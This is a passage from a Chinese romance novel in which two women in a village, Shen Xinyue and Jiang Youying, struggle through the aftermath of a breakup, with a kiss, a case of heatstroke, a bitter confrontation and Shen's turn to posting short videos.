喜悦升腾,江有盈急忙抬高手臂回应,“好啊——” 裙摆轻灵打了个旋,沈新月在她话出口的瞬间抬步迈出院门。 多一秒的停留都没有,不需要回应,话带到就好,被拒也无所谓,何必执着? 唇半启,手臂僵在半空,许久,才慢慢将牵挂和不舍的触手收回,突然间失去所有力气,江有盈退后几步,背抵墙才不至于跌坐在地。 于是,再一次不可避免回想起那场盛会。 应该可以称之为盛会吧,屠戮、虐杀的盛会。红黄纸片如断肢碎肉铺得满地,血跟眼泪的温度相同,痛苦的哀嚎和濒死前的 悲鸣本质上没有区别,是身体在发出求救信号。 那满目狼藉不正如她所愿吗?现在装什么深情可怜。 房门关闭,“砰——”,江有盈听见胸腔传来轰然崩裂声。 僵硬挪步,她伸手抓握住飘飞的纱帐,微凉触感从指缝溜走,掌心空空,是握不住的月光。 床笠边角扯拽留下的褶皱,是风暴席卷后唯一能证明那人存在过的痕迹。 沈新月最后一次为她整理房间。 蝉鸣陡然变得尖锐,江有盈踉跄跌坐在床沿,才意识到自己失去了什么。 一个真正爱她的人,毫无保留,即使被掌掴,被推离,仍哭喊着奔向她。一颗热烈而纯真的心。 沈新月并非铜浇铁铸,无坚不摧,那油煎火烤的痛,她终于能共情。 可惜一切太迟。 此后,与她的每一次相见,目光无意识的追随,都折返为刀。 一场浩大而漫长的凌迟开始。 啤酒鸭好吃吗?江有盈尝不出来,她口中满是苦涩。 整夜,她翻来覆去想,假若她也学人跪地哭喊求和,沈新月是否会回心转意。 可为什么呢?为什么。 江有盈一遍遍问自己,眼下的局面不正是你心中所求。 她以为是解脱,却被困更窄的囚笼,沉没更深的沼泽。 痛苦没有消失,只是转移到另外一个人身上。沈新月毫无所知,她只看到江有盈始终一贯的漠然孤傲。 沈新月承认自己还没完全放下,她没那本事,桌面文件鼠标右键删除还能在回收站找回,何况她是个人,活生生的人。 但她不会再试图靠近,无关自尊,她丢脸的事还少了? 是累了,倦了,也是真的意识到,江有盈并没那么喜欢她。爱是相互的,她死缠烂打没有意义,招人烦。 她从来不会让喜欢的人伤心痛苦,她不忍心拒绝任何人,“大胖小子”事件被朋友们调侃至今,可那又怎样,沈新月无愧于心,她没对不起任何人。 至于那些曾经伤害过她的人,是否在往后漫长岁月中偶然一个瞬间想起她,心中有些微的自责和懊悔,都跟她没关系。 小时候看《西游记》,沈新月不懂为啥师徒四人非要取经,到底啥是经啊!现在她懂了,人活着就是不停在闯关渡劫,精彩剧集并不是他们最后取得真经,而是一路那些奇形怪状的妖魔,还有美女。 我爱过她,爱是真,我们互相陪伴的日子是真,这就够了。 所以,当她们再次见面,沈新月反倒比从前更加豁达,平和。 只是不想再跟江有盈同桌吃饭了,啤酒鸭多好吃啊,她面无表情,搞得人家毫无成就感。 这种提供不了一点情绪价值的恋人,跑就跑呗,没啥损失。 沈新月早起喂鸡,顺道摘了几根小葱洗净切段,昨晚剩的啤酒鸭拌面条吃。 这季节天亮得早,还不到六点,外婆没起,沈新月昨晚跟她打过招呼,留了两人份的小葱在案板,吃完嘴一抹,拿上塑胶衣准备出门。 她昨天去荷塘看过,最近老下雨,水还挺深,现在不确定是划船方便还是下水更方便,反正两手准备,免得到时候来回跑。 刚出院门,青石巷冷不丁撞上个人,手里拿块抹布,正弯腰擦拭电三轮车身。 沈新月哑了半秒才开口打招呼。 “早……” 江有盈直起身,“你也早。” 车身已擦拭干净,说明她很早就起床开始忙活,那得多早,五点?四点? 沈新月下意识张嘴要问,又自顾摇头,手往身后指一下,“厨房里我切了葱,你要吃面的话就直接……” 她想起昨晚,饭桌边,江有盈面无表情好像在嚼土。 “反正我是剩菜拌面,我觉得挺好吃,你喜欢吃什么自己弄吧。” “啤酒鸭很好吃。”江有盈手抚在车后斗挡板,缓撑起酸麻的腰,近来严重缺乏睡眠,面色憔悴,眉间隐隐痛楚。 沈新月看她表情,扯了下嘴角,“一点没看出来。” 她不愿多留,“我要摘花,先走了。” “我跟……” 江有盈攥着抹布小跑几步,“我跟你一起去吧。” 沈新月回头。 她指向电三轮,“我开车送你过去。” 车上还放了几个塑料框,应该也是往年装荷花用的,沈新月想了想点头,返回车边把塑胶衣和剪刀放进后车斗。 江有盈快速坐到驾驶位,紧盯后视镜。很快,她看到镜中,自己一张脸迅速由红转白。 车身一沉,摇晃几下。 沈新月爬到后车斗,坐在给荷花遮阴的帆布垫子上,“我好了。” 江有盈不免想起她们初次见面,是真正意义上的见面,她记得是立春那天,沈新月第一次坐她的电三轮,她曾经告诫说“保持距离,不要喜欢上我”。 跟上次一样,沈新月乖乖遵守。 不,不一样了,这次沈新月主动选择远离她。 “你可以坐到前面来。”微偏过脸,江有盈强力克制着颤抖的声线。 “不用了,我喜欢坐在后面。”沈新月拒绝得干脆。 没补充,比如我喜欢看天,看风景在两边倒退,很有趣。 解释那么多干嘛,江有盈都无所谓她是否伤心难过,她为什么要在乎她的感受。 ——“我就是不想跟你靠那么近,是的,随便你怎么想。” 沈新月拿出手机,早上拍了吃的面条,现在准备拍摄家外面这条小巷,以及去荷塘的那条路。 不再多言,江有盈启动车子。 她以前总嫌弃沈新月黏人,一米缩短到半米,半米缩短至肌肤相贴,非得靠着,挽着,牵着,还发愁说夏天怎么办,好热。 夏天到了,她们却分开了,沈新月没让她心烦,主动躲得远远,拒绝她的帮助,自己去鸭棚把小船拖出来。 “我要拍摄,想想还是坐船比较方便,采来的荷花放在船上,拍全景也漂亮。” 江有盈手伸到一半,停在半空,讪讪收回,揣进裤兜,在她身边沉默。 杜绝所有肢体接触,免得人家误会她死缠烂打,目光也不再为其停留,一点小事就二傻子似的故意停在那,挤眉弄眼等人来看笑话。 沈新月推船入水,很简单的事情,她可以做好的。 还很开心,她正在做自己喜欢的事,一颗心真正为自己跳动,感到喜悦,前所未有的丰满和畅。 现在回想,从前的自己可真是个小丑,还学狗叫,喊姐姐。 贱死了,怎么说得出口。 人在经历重大挫折或失败时,会下意识为自己寻找一个心灵的依托,如果此时恰好有人出现在身边,提供帮助,而对方本身也足够优秀,爱情自然而然发生。 不绝对,大概率吧,是她自己的体会。 自卑,不安,担心江有盈觉得她是个只会索取的软饭女,沈新月坦白过,这份爱包含了崇拜和敬仰,慕强是生物本能。 但爱是相互的,沈新月也说过很多次,愿意了解她,回馈她,渴望彼此做到真正的敞开心扉。 爱不就这回事,你爱我,我爱你。 你不爱我,就拉倒。 或许,是她身上并不具备对方迷恋的优秀品质。 所以被甩,伤人的话像飞镖乱扔,才不管扎哪儿。 然后呢?经历过这些,沈新月想明白一个道理——谁也靠不住。 真正能帮助自己走出困境的,只有自己。 她现在很好,内心富足安宁,做到了真正的自洽,她不再把生的希望寄托到任何人身上。 感谢外婆,感谢妈妈,感谢江启明,这期间向她提供的种种帮助。当然还有最重要的江有盈,沈新月同样感激她,只是不再爱她。 最后一捆荷花码齐,油帆布覆盖,沈新月走到前面电三轮驾驶位。 江有盈立即挪让出更多位置。 沈新月摇头,“今天麻烦你最后一次,下午回来,我去停车坝练练,以后就自己开车去镇上了。” 三轮简单,油门一拧就走了,小孩姐都能开。 沈新月是以前完全没开过,有点胆小,也没啥独自出门的机会才一拖再拖。 江有盈不置可否,一脸面瘫脸情绪难辨。 沈新月也懒得去猜,返回后车斗。 车上那个小蒲团不见了,油帆布用来盖荷花,她屁股直贴车底铁皮,这一路,也不知江有盈是存心报复,还是真因为没了缓冲,到镇上快递站,屁股快颠点八瓣。 沈新月一瘸一拐下车,扶着车栏揉屁股,想到回去还得经历这么一遭,后悔了。 荷花发冷链,订单上的数量不能少,包邮的不包损,包损的不包邮,买方有花店老板,制香师,还有高档餐厅经理等。荷花有很多用处。 任务简单,手机填写地址,拍照留存,监督快递员打包,刷新单号就可以离开。 全过程沈新月用手机记录下来,素材不嫌多,回去慢慢挑选合适的剪辑。 回到车边,沈新月再次揉屁股,忍不住长长叹气。 “坐前面来吧。”江有盈翘着二郎腿,手搭在车把,看起来很不爽。 沈新月伸手拽来油帆布,理理叠成方块准备垫屁股坐,还是摇头,说“不了”。 江有盈半边身子拧过来,一双秀气的远山眉不悦蹙拢,“怎么,连跟我同乘一席都不敢,余情未了,担心重蹈覆辙?” 很明显,她不高兴了。 沈新月心里一跳,发现自己还是会担心她不高兴。 一惊,一惧,再是一怒,沈新月脾气也上来,大跨步往她身边一坐。 “余情未了?真好笑,我天生贱骨头怎么着,一天不犯贱难受,人家骂我是垃圾我还腆着脸往上送,我没自尊的吗?” 快晌午,太阳挂得高高,车顶棚围圈出小片舒适阴凉,她口中诘问比烈日更毒。 江有盈默了半晌,从兜里摸出一盒烟,低头从烟盒里用嘴叼了根,紧接着又摸出打火机,双手拢着点燃。 细长女士烟,抽烟姿势一看就是老手,烟夹在靠近手掌第一个指节,吸的时候,无名指和小拇指弯曲,整个手掌把下半张脸完全盖住。 因此显得鼻梁愈发高直,青烟笼罩的眉眼愈发深邃。 沈新月恨自己观察得这么仔细,谁叫这女人实在漂亮,抽烟也漂亮。 所以才把她勾得五迷三道的。 “你什么时候开始抽烟的?”沈新月话出口的瞬间就后悔了。 果然,江有盈嗤笑一声,“跟你有关系吗?” 说得好,有鸡毛关系,又不跟她亲嘴。 “我讨厌烟味。”沈新月只能说。 “跟我有什么关系。”她下一句紧跟,手伸出去掸掸烟灰。 什么人?! 沈新月无话可说。 是,她是讨厌烟味,可烟从江有盈身上来似乎又没那么讨厌。 公司出状况以后,她也戒烟了。 “给我一根。”沈新月面无表情说。 “你不是讨厌烟味?”江有盈不解地看着她。 沈新月平静回望,“我是讨厌你。” “那我凭什么分你烟?” 她一双眼被烟熏得眯起,沈新月闻到橘子花味道好苦,苦得有点呛鼻。 爱给不给,沈新月不想纠缠,准备下车躲去一边等她抽完,她又单手拨开烟盒递到面前。 默然对峙两秒,沈新月泄气,抽出一根。 “火呢?” 有烟没火,难成正果。 江有盈吸了口烟,手半遮着脸,眉眼弯起,似笑非笑。 沈新月捏着烟看过去,她单手抱胸,另一手肘撑在腕,烟雾袅袅,眼神蛊惑。 “不抽了。”沈新月把烟递回去。 江有盈眼皮上下一撩,没接,朝她微微倾身,撑在车靠背,烟叼进嘴里,快速往前勾了勾手指,含糊着说“来”。 好像被鬼拍了后脑勺,沈新月垂着眼皮没犹豫太久,三根手指捏烟,竟乖乖把脑袋凑过去。 对接完成,沈新月没来得及往后撤退,眼前一花烟被顺走,她唇覆来,吻得又凶又狠。 沈新月完全呆住,被她紧紧箍着,那么大的力道,她气味裹着烟又凶又霸道,直往肺里钻。 她手掌扣在后脑,五六月的天气,指腹却冰凉,唇又那么烫,那么软,小舌灵活勾缠不休。 分离时,烟散尽了,沈新月捂着胸口,嘴唇酥麻,满心疑惑,又有种、有种…… 有种说不清道不明的爽。 抬头,对面没事人一样,坐直身体把烟递回来。 一个面朝人行道,一个面朝大街,两人背对着抽完自己那根烟。 江有盈下车,跺跺脚站直,熄灭烟蒂,烟盒也扔进垃圾桶。 “打火机干嘛不扔?”沈新月怀疑分手这段时间她没少抽,现在不过装样子,怕她跟外婆告状。 “留着放仙女棒。”江有盈口气淡淡。 她皮肤很白,神色晦暗,最近应该没怎么休息,日光下憔悴不减。 但因为刚才接过吻,唇色艳丽,好似吃人的女妖。 取经路上,难免。 沈新月盯她几秒,没蠢兮兮说什么“干嘛亲我”。 亲就亲了,不会少块肉,追着撵着显得她斤斤计较,还会被人家骂死缠烂打。 “仙女棒还在吗?”江有盈又道。 她说“仙女棒”,当然是指表白日那天没机会点燃的仙女棒。话里什么意思,沈新月不是二十出头的小姑娘了,心里清楚得很,没接茬,说了声“口渴”,起来去便利店买水。 不至于吝啬到这种地步,拿了瓶她喜欢的无糖绿茶,沈新月递过去,听她道谢,也没应,回到位置上坐着。 “走吧,下午我还得去坝子里练车。” 一路无话,江有盈驱车返回秀坪,直接把车给她开去停车坝。 坝子村委会修的,给村里人停车,也方便外地游客。 节日刚过,这个时辰不早不晚的,坝子里空空,正方便练车。 江有盈下了车没走,路边大树底下叉腰站着。 沈新月没忘她们大半夜躲在这儿亲嘴,但现在是白天,环境大不同,再说那早就是过去的事儿。 她愿意盯就盯,沈新月没怵,拧油门,发动,车子慢吞吞开出去。 多跑两圈熟悉就好了,倒车,转弯这些都不难,沈新月虽然有段时间没开车,技术还在。 “差不多了。”拐个弯,沈新月车停她面前,下巴尖往前一划,示意她上车。 主副位置颠倒,久违掌控的感觉,沈新月挺了挺背,心想果然权利才是女人最好的补品,哪怕是在电三轮上。 怪不得江有盈平时拽得二五八万的,好好的电三轮,愣是给她坐成龙椅。 到家,小三轮停在墙根底下,沈新月留下车钥匙,“走了。” 这是一天当中气温最高,日头最毒的时候,电三轮车顶棚烫得能煎蛋,空气闷热,窒塞。 江有盈独自在位置上坐了很久很久。 在她跟沈新月过去的感情中,她明显处于上位,轻轻一招手,像逗狗那样打个响舌,沈新月就屁颠屁颠过来了。 有时甚至什么也不用做,只一个眼神,一个笑,就勾得人神魂颠倒。 狗不是最忠诚的吗? 江有盈发现自己并不擅长示弱,她用傲慢来掩饰心灵的空虚和卑怯,回想当时种种行径,自己都觉得恶心。 那个吻之后,她敏锐捕捉到对方眼底的松动,但很快就熄灭了。沈新月恨极她,只是个人基本素养作用,没伸手出来扇她两巴掌。 四周空气变得沉重,呼吸困难,她张大嘴巴如溺水之人本能寻救,仍无济于事,胸口憋闷,心脏针刺感的痛跟随血液流遍全身。 身体摇晃几下,她歪倒在电三轮黑色皮质座椅,像贴在一块烧红的铁板,浑身滋啦啦响,恍惚闻到腐肉烧焦的臭味。 “江有盈!” 沈新月把人抱回树下摇椅,塑料盆扔进水槽,水龙头里的水都是热的,她心急如焚却也无可奈何,只能耐着性子等待管道里晒热的水流干净,用凉水浸透毛巾,给人擦脸擦手,进行物理降温。 脱掉她的鞋子,衬衫解开,沈新月从盆里蘸水洒得她浑身都是,外婆的大蒲扇抓来对着呼呼扇。 几分钟后,江有盈悠悠转醒,左右看看,发现自己被挪了位置,她很奇怪,眼睛睁得大大,一眨不眨把人盯着。 “看我干嘛?”沈新月没好气,“你中暑我还能见死不救吗?” 她开了瓶藿香正气水递过去,“喝。” 闻到辛辣刺鼻的药味,江有盈立即把脸转到一边。 随即,她发现自己手臂和领口小片挂满水珠,又歪个脑袋,“你怎么把我弄湿了。” “别说这么奇怪的话。”沈新月准备了可乐,藿香正气水往前递递,单手抠开锡罐拉环,“喝了药给你喝可乐。” 不接,江有盈手掌将水珠细细抹开。 她拉长了颈,素白的脸扬起,闭上眼,风带走皮肤表面温度,果然舒适许多。 那两条横支的锁骨像玉,质地通透,沈新月无声凝视许久,等待她重新睁开眼,药瓶喂到她嘴边。 她面露厌烦。 沈新月没了耐性,手捏住她下颌,扳正她脸。 “清醒一点好吗,作死给谁看,你以为我还会像从前那样求着你哄着你吗?连你自己都不心疼自己,还指望谁来爱你。” 不自爱吗?她是不自爱的人,江有盈从来没收到过的评价。 她瞳孔微缩,眼底布满赤红血丝,目光惊疑,又十分委屈,手指嵌进藤椅边缝,用力到沁出血来。 “我对你只是出于人道,因为我们两家是邻居,你是外婆认定的无血缘亲友,而你曾经确实也向我提供很多帮助,我对你的遭遇无法视而不见。” 沈新月将药瓶重重掷回桌面,“你真的奇怪,我爱你的时候,你拼命将我推开,甚至极尽羞辱。我如你所愿不缠着你了,你又一天天使不完的小把戏。” 大颗眼泪从她面颊滚落,滴在手背,沈新月如被烫到,松手飞快在衣上蹭了下。 转身冲进外婆房间,抱来仙女棒,沈新月扬手把塑料盆的水泼到院子当中,盆摔地,仙女棒扔进去,又弯腰摸来她兜里那只打火机,点燃其中一根,丢回盆。 火势初弱,几秒后扩散,盆中发出“荜拨”爆响,青紫烟雾腾起,火药味弥漫。 “你不是要看仙女棒,现在看到了。” 沈新月站在她面前,双拳紧握,口鼻被呛,堵塞着,眼眶也熏热。 她不想再为她流泪,是烟雾,是生理本能,“我不爱你了,你对我说过那样的话,怎么还指望我会爱你呢。” 镁粉燃烧的刺目白光比太阳还耀眼,手脚无力,逃跑不能,江有盈只能怔怔看着。 她喉咙哽住,眼泪模糊视线,光亮炽热闪耀,双目近盲,周身痛不可抑。 第55章 “我好好一个洗脸盆让你烧得稀巴烂!” 外婆傍晚打牌回家,沈新月刚把江有盈送回房,还没来得及处理,被逮个正着。 “你烧我洗脸盆干啥?”外婆戳着她脑门训,非要她说出个一二三。 “不要戳到太阳穴了,很危险的。”沈新月握住她手指,稍挪个地方,点在额头正中央,“这里吧。” 外婆抬腿朝她屁股踢一脚,“死孩子,败家孩子,天天不干好事。” 沈新月今天够郁闷了,老太太还叨叨个没完,她不服气,“我咋不干好事,我上午采荷花卖荷花,下午练车,全是好事。” “回来就烧我洗脸盆?”外婆气呼呼往摇椅一坐,瞥见桌上药瓶,拿起来看,“谁中暑了?” “我也是个人,站你面前老大一只你都不关心。” 沈新月脚尖把盆拨去一边,打算吃完饭出去遛弯的时候扔。 桌子还有听开过的可乐,老太太“嘿嘿”一笑,刚要伸手,沈新月眼疾手快一把抢过,“训我半天,也让我逮住你了,风水轮流转。” “切——”秀兰不屑挥臂,“放半天早没气了,我还不乐意喝呢。” 没气的可乐,江有盈爱喝,沈新月把可乐拿回冰箱冻着,后来连带着晚饭一起送到隔壁。 房间门大敞,过堂风吹得纱帘乱舞,那人侧躺在床,长发如墨铺散了满榻,腰臀起落成浪。 白瓷碗在厚实的胡桃木柜面上磕出一声闷响,沈新月在床沿坐下,说“吃饭了”。 长直的睫毛盖住哭红的眼睛,情绪剧烈起伏后,身心陷入茫茫一片死寂。床上那人没什么动静。 “外婆知道你中暑了,很担心,让我好好照顾你。”沈新月回头轻轻推了下她肩。 类似的话,江有盈以前说过很多。 ——“你外婆托我照顾你。” ——“俗话说远亲不如近邻。” ——“别让老人家为你担心。” 如今也算有来有往了。 唯一的不同,江有盈是头倔驴,谁的话也不听。 两家这些年攒下来的情分,还有她之前几次救命之恩,沈新月不能扔她不管,又耐着性子喊了几声。 她不理,沈新月伸手去扳她肩,感受到阻力,“没睡着啊。” 吸吸鼻子,江有盈团成只熟虾米。 强喂肯定是不行的,她力气大,真要较劲沈新月担心自己不是对手,再挨她两巴掌。 “你先起来把饭吃了,吃完我跟你说。” “说什么。”江有盈果然立即有了反应。 沈新月把碗端到沙发对面的小茶几,“你先下来,到这边。” 这人平时看着拽得二五八万,牛哄哄全世界在她眼里都是垃圾,其实可脆弱了,心里一堆弯弯绕。 像刚挨过揍的小孩,面上不情不愿,又实在抵不住奖励的诱惑,一路走一路抽抽着把自己安顿在小桌边,瞪眼把人盯着。 沈新月饭碗推她面前,“先吃,吃完我告诉你。” 不说什么事儿,态度表现得挺柔和,江有盈皱着眉自己在那琢磨,半分钟后,想清楚了端碗开始吃。 “还有药。”沈新月重新给她开了瓶,可乐放旁边漱口用。 “你会跟我和好吗?”她嘴里嚼着饭,耷拉着脑袋不敢看,含糊问。 “先按照我说的做。”沈新月仰靠在沙发背,双手环胸。 爽,比在点烟的时候被强吻还爽。怪不得江有盈总喜欢板个脸训她。 碗底最后一勺米饭舀进嘴里,江有盈把碗朝着沈新月斜了下,示意吃好了,不需得人吩咐,扒开药瓶最里头那个小活塞,仰脖直接往嘴里倒。 药水辛辣呛鼻,她眉头皱得更深,强忍着恶心咽下,连灌了大半听可乐才勉强压下嗓眼里那股火。 这药是真难喝。 沈新月默了几分钟,等她缓了缓,才慢悠悠开口道:“你是想跟我复合吗?” 想,当然想。可有句老话怎么说,死要面子活受罪,江有盈垂着眼一声不吭。 沈新月探身屈指敲击桌面,“说话。” 脖子里好像支了根钢筋,江有盈那颗脑袋就是低不下来,僵僵杵在那。 沈新月双手撑膝,起身便要走。 “我想,我想。”她急了,地毯小蒲团上跪坐着,膝行半步。 沈新月站那没动,“那你当初为什么非得跟我分手,几次分不掉,说的话越来越难听,终于分掉了又觍个脸巴巴往上凑。” 这些话想对她说很久了。 “我没给你机会吗?我给太多机会了,我说要沟通,要坦白,我的话你有一句听进去了吗?表现得自己多可怜巴巴,心里多委屈,人家问,却只会摇头,说别打听。既然你不想说那就藏好了,藏严实点,谁也不知道,故意露个线头出来等人拽,真伸手又捂得严严实实的。” “欲拒还迎一次两次就够了,反反复复真的很折磨人,我不是你肚子里的蛔虫,不知道你到底在想什么,一直猜,猜错我也很无助。你但凡回头看一眼呢,看看自己究竟做了什么,既然选择进入一段关系就承担起自己的责任来。你捡个小孩都知道给她泡奶粉换尿布,我也是个人,我也需要体贴呵护。” “当然,我并不是说你对我不好,在物质和金钱方面,你确实没对不起我什么,但我们是情侣,除了钱,我们之间还有感情的,在床上你会问我感觉好不好,怎么下了床就不认识我一样。” 闭眼,吸气,沈新月扶额缓了几秒。 “以上全部抛开,分手是你提的,我尽力挽留了,你执意要分开,那我尊重你的意愿。可你为什么在我好不容易调节好情绪问题,决定重新开启一段生活的时候又跑出来,做那些莫名其妙的事。你大半夜睡不觉,饭不吃,把自己热到中暑,到底想干嘛?要我可怜你吗?我告诉你江有盈,我不会,我只觉得可笑。” “早干嘛去了,分手了你知道后悔了,那我杀了人再道个歉说对不起,受害者家人和法律就会放过我吗?况且你连句对不起都没有,你还在继续你的别扭,你根本就没意识到自己对别人造成多大伤害。” 江有盈脸色刷一下惨白。 “你但凡站在我的角度想想,换位思考下就知道自己有多恶劣了。从一开始我们见面,常常什么喜欢不喜欢的挂在嘴边,我姑且当作调情吧,那上床之后呢?知道我恶心什么,还一遍又一遍说跟我没感觉,其实喜欢男人。你是不是有病,你自己品品,这是个正常人说得出来的话吗?” “怎么样呢,我替你证实了,跟女人还是会爽,会高潮,又跟我谈什么阶级,什么环境。这些我全都不计较,心想或许是我们的开始不够正式,想给你个惊喜,也是想坐下来好好聊聊的意思,可你呢?” 这些问题翻来翻去,沈新月说得都有点不耐烦了。 她身体摔回沙发,使劲抓了一把头发,手臂扔开,绒面布料上轻弹几下。 “想复合,什么态度,道歉一句没有,吃饭还得我来哄,感情是相互的,只靠一个人维系走不长远,你没谈过恋爱我可以教你,做你的引导性恋人,可你至少应该配合我一下吧。” 说得差不多了,沈新月收起碗筷。 “就守着你的秘密一辈子这么过活吧,继续沉浸在你的小世界里,你自己不说没人会知道的,你不用担心有人会因此而伤害到你,真的。因为能伤害你的,从来只有自己。” 沈新月端碗走到门口,回头,最后一句。 “不过也谢谢你的敲打,这段关系里我从中学到不少。真诚仍然是感情中最重要的东西,我真诚我无惧我坦荡,谁隐瞒谁活该受煎熬。别指望任何人能拯救你,大家都很忙,连照顾自己都照顾不过来,爱情可以是锦上添花也可以是雪中送炭,前提你先够取暖!那点可怜稀薄的爱,你自己留着吧。” 就这样。 沈新月转身大步离去。 太阳落山了,房间暗下来,风没停过,吹在身上有点冷,手臂皮肤起了层细小的鸡皮疙瘩。 江有盈始终呆坐着,直到双腿发麻,完全失去知觉。 她整个人像是暴雨中翻滚的荷塘,沈新月口中字字句句是从天而降的雨箭,急促而猛烈,把水下沉淀已久的芜秽重新翻搅在岸。 难以忽略,没办法再自欺欺人。 每当这种时候,她总是难免想起妈妈,怀念妈妈温暖而粗糙的手掌,想扎进妈妈怀里好好哭一场。 几分钟后,她艰难翻身爬坐起,换了身衣裳,洗了*把脸,然后去后面露台把帐篷收起,拎着登山包出门。 沈新月一直靠在围栏边等,方便观察她情况,这时给江启明发了条消息,让她给刘武打电话,说江有盈背着包出门不知道打算去哪儿。 [不会又吵架了吧。] 江启明问。 沈新月没说什么,只问为什么现在才回复消息。 [我视频剪好了,你看没。] [我很自律。] [作业不写完不会碰手机。] 这两条消息之后,江启明应该是给刘武打电话了,几分钟后才回复说没事。 [妈妈不会想不开的。] [她还有我。] 沈新月回房间,坐在地毯上,盯着江启明最后两句话看了很久。 一个没有妈妈的女人在成为妈妈之后,是不会想不开的。 那江有盈的妈妈呢?为什么想不开。 骂人的是她,噼里啪啦骂了一大堆,哭的也是她,稀里哗啦哭得满脸泪。 沈新月抖着手拨电话,泪模糊视线眼前一阵阵花什么也看不清。 她手臂垂打在大腿,江有盈关机了。 [视频我看了。] 江启明发消息过来,给她提了些建议,说哪里太长需要删,哪里又可以适当增加时长,还有节奏,BGM和字幕啥的。 沈新月脑子掰成两半用,暗暗记下她的叮嘱,袖子抹泪,已经没办法打字,发了段语音过去。 “我话可能说重了,我明知道她很难。” [没事,她当时骂得也挺狠。] [你不能光想着你骂的时候。] [她说你是垃圾,廉价又可笑,你忘啦?] 江启明如此安慰道。 沈新月探身把床头柜上抽纸抓来,擤鼻涕。 [你情绪好稳定。] [想谈。] [说明我们之间纯友谊,没有爱情。] [爱一个人,怎么可能会无动于衷。] 江启明丢来一串红心。 [小孩姐,我悟了。] 沈新月抱着电脑,把前几天下雨她站在窗口拍的芭蕉树上传,搭配伤感音乐,标题为——“为什么爱一定要互相伤害。” 十五分钟后,按照江启明建议修改好的第二条视频发出去——“破产回村赚够一百个之与老板之失恋三十三天。” 江启明丢来三个问号。 [什么东西?] 沈新月让她别管。 成为自媒体达人的第二天,沈新月完全忘记了这回事,早上醒来对着窗外的芭蕉树发呆,直到江启明发来消息。 [你要火了。] 沈新月才想起自己干了什么,打开手机,后台一串红。 出人意料,那条乡村日常视频只有十八个点赞,芭蕉树伤感视频一夜之间竟积攒两千多! 沈新月戳开评论: [我想她了。] [我想他了。] [我想它了。] [如果再给我一次机会,我一定不会放手。] [你不知道,故作轻松的我啊,背地里偷偷哭过多少次。] …… [同是天涯沦落人。] 沈新月回复江启明。 江启明说这确实是她没有想到的。 [也行,这种视频你以后都在晚上发。] [人晚上比较容易emo,流量大。] [或者试着融合。] 好现实一女的。 起床,沈新月洗漱后喂鸡,扎起头发戴上草帽,对着镜头打招呼。 江有盈没回来,她给小院里的花浇水,晾在绳子上的衣服收起,清扫落叶,电脑登录管理系统,查看订单,确定旅客入住时间,安排整日工作。 这次,沈新月试着把伤感部分和日常相结合,视频开头和结束都是芭蕉树,区别在时间和天气的变化。 清晨的芭蕉树叶片上还挂着露珠,日暮时分光线移动,那抹绿意变得深沉厚重,字幕是“她还没回来”。 江有盈是真没回来,外婆起初以为她镇上事情多,忙,连续三天没看到人影,有点着急。 “你给她打电话。” 沈新月不敢说是自己把人骂跑了,抓抓后脑勺,嗫嚅着,“忙啊,最近确实忙。” “我让你打电话,我问问她。”外婆说你要不愿意把手机拿来,“我自己打。” 万一还是关机怎么办?沈新月满心忐忑尝试拨打电话。 “嘟”声响起的瞬间,她大松一口气,后背甚至起了层薄汗。 “您请接听。”沈新月赶紧把手机递过去。 听说手里这破玩意几片铁皮加玻璃就要小一万块钱,外婆宝贝得很,怕摔了两手紧抓着。 “歪?满满呐!是不是满满呐?” 江有盈在电话里说了什么,沈新月一个字不知道,只听见外婆不时“啊哦嗯”,小学生念拼音似的。 挂了电话,沈新月接过手机,“她有没有说啥时候回来。” 外婆重重“哼”一声,“她肯定是不想见到你,一天天吃人家喝人家,没有感恩之心,不干好事。” 沈新月真服了,“还有没有王法,她骂我的时候您也在场吧,骂得多难听,我说她几句能咋。” “欸?”外婆手指着,“承认了是吧,你承认你欺负她了。” 老太太原地转圈,满院子找笤帚,“我就知道是你,不打自招,好,看我今天不抽你个屁股开花。” 沈新月意外发现,她妈喜欢转圈原来是遗传外婆! 老太太偏心得很,没等她找到笤帚,沈新月蹦跶跑走。 她的视频号每天都更新,反正闲着也是闲着,没事就拍拍剪剪,新号平台有扶持还有很多激励计划,流量不错,几天下来后台竟然也有一百多块钱了。 沈新月不指望这个暴富,就是玩,说是转移注意力也好,兴趣也好,都行。 不过迄今为止,播放量最高的还是最初那条伤感视频。 江启明说她运气好,类似的伤感视频很多人在发,但流量完全是玄学。 于是沈新月另创了个号,专门拍这种。 芭蕉树、荷花、屋檐下的雨,晾衣绳上随风飘摆的白裙子,潺潺的小河水,每天回家那条开满野花的小路…… 都是她生活中很常见的东西,但场景固定放大再搭配音乐,就具备一种神奇魔力,让偶然刷到视频的观者们心灵奇异安静下来。 只是江有盈还没回来。 池塘里的荷花开了一茬又一茬,小院里的客人来了又走,雨下过几场,瓜田里的瓜也熟透…… 沈新月不知道她去了哪里,让江启明问了刘武,刘武反问“没在秀坪”? 八成是装的。 好几次,沈新月去镇上寄荷花,想偷偷跑去星星门窗店,看能不能遇到她,可见面以后该说些什么呢。 闹得太难看了。 这天下午,沈新月又去了荷塘,她闲来无事喜欢到亭子里躺着,亭是有名字的,但只有为数不少的人知道。 左数第三根柱子最上面有行小字。 ——“新月亭,谷雨江有盈立。” 沈新月也买了云台固定手机,这样可以保证画面更稳,塘里开出了一朵并蒂莲,她舍不得采,每天都来看,用荷叶挡着,担心被人发现偷摘去。 “我的并蒂莲今天也还在呢!”沈新月嘀嘀咕咕,拍的时候就想好字幕了——直接把这句打上去。 评论区好多人对着并蒂莲许愿: [希望我们能长长久久。] [希望我爱的人能回到我身边。] [我能想到最浪漫的事,就是与你像两瓣芙蕖并绽枝头,并蒂莲蓬。] …… 每次刷到这样的评论,她心里毛绒绒热烘烘,好像有只小猫在咕噜踩奶。 不知道那个逃跑的家伙有没有在偷偷刷她视频。 那么大一片天,装进小小的手机屏幕,仔细可以看到风追赶云朵奔跑。 近前,绿的艳,红的娇,夏日盎然,日光欢喜。 猝不及防,镜头捕捉到一片淡蓝衣角,女人长发柔顺披散双肩,静立在藕荷深处。 沈新月呼吸骤停。 风过,满池碧叶簌簌摇晃,水波漾漾,也吹乱她头发。 她伸手拂了一下,想了想,大概也觉得麻烦,随身的大包里摸出个鲨鱼夹,三下五除二,利落将长发盘起。 如此,沈新月可以确定自己不是出现幻觉。 她的蓝色上衣是轻盈的绵绸质地,裙裤宽宽大大,布鞋刺绣精美,风格舒适随性很适合她。 她也瘦了,瘦好多,细长骨架支撑衣物,像盏风里的绛纱灯笼,轻逸婀娜。 她缓缓走来,由远至近,沈新月垂下发酸的手臂。 